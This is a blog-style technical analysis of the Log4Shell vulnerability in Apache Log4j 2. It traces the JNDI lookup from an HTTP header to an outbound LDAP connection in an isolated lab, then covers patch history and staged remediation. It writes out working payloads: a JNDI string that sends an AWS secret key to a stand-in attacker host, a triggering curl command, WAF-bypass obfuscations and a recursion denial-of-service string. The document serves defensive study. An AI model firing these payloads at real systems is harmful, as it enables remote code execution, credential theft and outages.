October 12, 2026
Dissecting Log4Shell (CVE-2021–44228): From String Interpolation to TCP Handshakes and Staged…
Disclaimer: This analysis is for educational purposes and defensive security engineering. All testing was executed in an isolated local…
By Sharanya Avudari
4 min read
Disclaimer: This analysis is for educational purposes and defensive security engineering. All testing was executed in an isolated local container environment.
1. Executive Summary & Blast Radius
CVE Identifier: CVE-2021–44228
Affected Component: Apache Log4j 2 (log4j-core)
Impacted Versions: 2.0-beta9 through 2.14.1
CVSS v3.1 Severity: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWE Identifiers: CWE-502, CWE-20
Logging frameworks are usually treated as passive outputs. When writing logger.info("Processing: {}", input), developers assume the string is formatted and pushed to stdout or disk.
CVE-2021–44228 broke that boundary. Because Log4j 2 evaluated variable substitution recursively within logged message strings, untrusted input could trigger an unsolicited, outbound network call to an external directory service. That mechanism enabled both unauthenticated Remote Code Execution through class loading and credential exfiltration through environment variable lookups like ${jndi:ldap://c2.attacker.com/${env:AWS_SECRET_ACCESS_KEY}}.
To inspect the execution flow and telemetry firsthand, I spun up an isolated testbed to trace the call from an unauthenticated HTTP header down to raw socket creation.
2. Technical Root Cause: The Ingestion Sink
The design failure stems from feature creep within a utility component: permitting recursive variable lookups directly inside user-supplied message strings.
[1] Ingress (Untrusted Client Input)
HTTP Request Header:
X-Api-Version: ${jndi:ldap://host.docker.internal:9999/test}
↓
[2] Application Ingestion Sink
MainController.java:18
logger.info("Received request for API version {}", apiVersion);
↓
[3] Log4j Core Parsing Pipeline
• StrSubstitutor parses log event, detecting nested ${...} variable syntax
• Interpolator maps the jndi prefix to JndiLookup.java
• JndiManager dispatches raw URI to javax.naming.InitialContext.lookup()
↓
[4] Runtime Transport & TCP Handshake
• com.sun.jndi.ldap.LdapCtx initiates raw outbound TCP socket to port 9999
• Completes 3-way handshake (SYN → SYN-ACK → ACK)
- Transmits binary ASN.1 LDAP Bind request payload
When inspecting the call stack, the initial expectation might be that string interpolation simply sanitizes, encodes, or formats values before logging. However, Interpolator.java dispatches strings prefixed with jndi: directly to javax.naming.InitialContext.lookup().
Java's naming system was built to locate remote enterprise resources across networks. Because the URL specified ldap://, Java's internal LDAP client (com.sun.jndi.ldap.LdapCtx) initiated an outbound socket connection to query the remote directory. The vulnerability is not that Java supports LDAP, but that Log4j allowed untrusted input to invoke Java's native network client unchecked.
3. Hands-On Lab Reproduction & Evidence
To analyze the runtime telemetry, I deployed an isolated container running Spring Boot with Log4j 2.14.1.
Environment Nuance & Network Bridging
Reproducing this on macOS required two specific operational adjustments:
- BSD Netcat Parameters: On macOS, nc rejects GNU-style flags (nc -lvnp 9999 fails due to -p placement). The listener must be invoked cleanly as nc -l 9999. Unlike some Linux implementations, BSD nc silences standard output until a connection arrives.
- Container-to-Host Routing: Because the vulnerable app was isolated within Docker, passing 127.0.0.1 in the payload targeted the container's loopback interface instead of the host machine. Bridging the traffic back to the host listener required using host.docker.internal.
Step 1: Open the Transport Listener
In Terminal 1 (Host listener waiting for connection)
nc -l 9999
Step 2: Triggering the Ingestion Sink
From a separate terminal, an HTTP request with the JNDI lookup string was sent via the X-Api-Version header:
In Terminal 2
curl 127.0.0.1:8080/ -H 'X-Api-Version: ${jndi:ldap://host.docker.internal:9999/test}'
Step 3: Telemetry & Connection State Verification
Observer Output (nc):
The listener immediately un-froze and displayed binary characters (0x30, 0x0c…). This confirmed the delivery of an LDAP Bind Request formatted in ASN.1/BER encoding.
Application Container Logs (docker logs log4shell-lab):
2026-10-12 17:48:42.337 INFO 1 --- [nio-8080-exec-1] HelloWorld : Received a request for API version ${jndi:ldap://host.docker.internal:9999/test} 2026-10-12 17:49:02,368 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://host.docker.internal:9999/test]. javax.naming.ServiceUnavailableException: host.docker.internal:9999; socket closed at com.sun.jndi.ldap.Connection.readReply(Connection.java:471) at com.sun.jndi.ldap.LdapClient.ldapBind(LdapClient.java:365) at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2791) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56) at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221) at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110) at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132) at fr.christophetd.log4shell.vulnerableapp.MainController.index(MainController.java:18)
Proving the Connection Completed
The stack trace provides clear proof that the TCP handshake succeeded:
- A firewall drop produces Connection timed out.
- A closed port produces Connection refused.
- The log explicitly records: socket closed at Connection.readReply().
This confirms the three-way TCP handshake (SYN -> SYN-ACK -> ACK) completed between the container and host port 9999. The connection closed only after nc received the initial LDAP bytes and terminated the raw stream without returning a valid directory object.
4. Remediation & Enterprise Defense Strategy
Securing distributed production environments against Log4Shell requires a defense-in-depth model that addresses both immediate availability risks and long-term supply-chain integrity.
Defense Limitations
- Web Application Firewalls (WAF): Perimeter pattern matching on ${jndi: is insufficient as a standalone control. Attackers can bypass naive regex using nested lookups such as ${${lower:j}ndi:${lower:l}dap:…} or ${env:NaN:-j}ndi:.
- Network Egress Controls: Enforcing strict outbound firewall rules at the VPC or container network layer (blocking unapproved outbound traffic on ports 389, 636, 1099) effectively breaks the exploit lifecycle by preventing communication with external C2 infrastructure, regardless of string obfuscation.
Defense Realities: Why Patching Took Four Iterations
The emergency response to Log4Shell demonstrated why patch verification is just as critical as patch deployment. Organizations that rushed to apply the initial December 2021 release found themselves repeatedly re-patching over three weeks:
- Log4j 2.15.0 (Incomplete Sanitization — CVE-2021–45046): Apache initially attempted to whitelist allowed LDAP hosts strictly to localhost. However, in applications using non-default pattern layouts with Thread Context Maps (%X / %mdc), attackers bypassed validation routines via URI authority manipulation (such as 127.0.0.1#attacker.com), leaving room for DoS and potential RCE (CVSS 9.0).
- Log4j 2.16.0 (Total Feature Decommissioning): Rather than attempting to sanitize JNDI input, Apache removed message lookup evaluation entirely (%m{lookups}) and disabled JNDI by default.
- Log4j 2.17.0 (Mitigating Infinite Recursion — CVE-2021–45105): While JNDI was disabled, StrSubstitutor still allowed nested variable evaluations. Payloads containing self-referential nested references (such as ${${::-${::-$}}}) triggered unbounded recursion loops, throwing a java.lang.StackOverflowError that allowed unauthenticated Denial of Service. Version 2.17.0 restricted recursive parsing strictly to static configuration elements.
- Log4j 2.17.1 (Hardening Secondary Appenders — CVE-2021–44832): Addressed a remaining vector where an attacker with write access to configuration files could trigger JNDI execution via JDBCAppender data sources. Version 2.17.1 locked down the JDBC appender, requiring an explicit system property (log4j2.enableJndiJdbc=true).
Key Takeaway: Targeting intermediary versions like 2.15.0 or 2.16.0 leaves critical edge-case vectors open. The only secure production target is Log4j 2.17.1 or higher.
The Staged Engineering Rollout
In enterprise environments with hundreds of active microservices, recompiling and deploying codebases on zero notice introduces serious regression risks. A staged remediation model addresses this balance:
[Phase 1: Immediate Containment] Set LOG4J_FORMAT_MSG_NO_LOOKUPS=true via Container/K8s Env Configs │ ▼ [Phase 2: Network Isolation] Apply Egress Rules blocking outbound LDAP/RMI ports (389, 636, 1099) │ ▼ [Phase 3: Definitive Dependency Update] Stage and verify CI/CD pipelines upgrading dependencies to Log4j 2.17.1+
- Phase 1 — Zero-Recompile Runtime Shield: Immediately inject the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true or the JVM flag -Dlog4j2.formatMsgNoLookups=true across container orchestration configurations. This disables message lookups without requiring code changes or package updates.
- Phase 2 — Transport-Level Isolation: Restrict egress traffic so backend services cannot initiate external TCP sessions to arbitrary ports.
- Phase 3 — Definitive Dependency Upgrades: Upgrade dependencies permanently to Log4j 2.17.1 or higher through staged CI/CD pipelines, validating application behavior with regression test suites prior to production deployment.
References
- NIST NVD: CVE-2021–44228 Detail
- Apache Logging Services: Log4j Security Vulnerabilities
- Black Hat USA 2016: A Journey from JNDI/LDAP Manipulation to Remote Code Execution Using Dirty Java Tricks (A. Muñoz, O. Mirosh)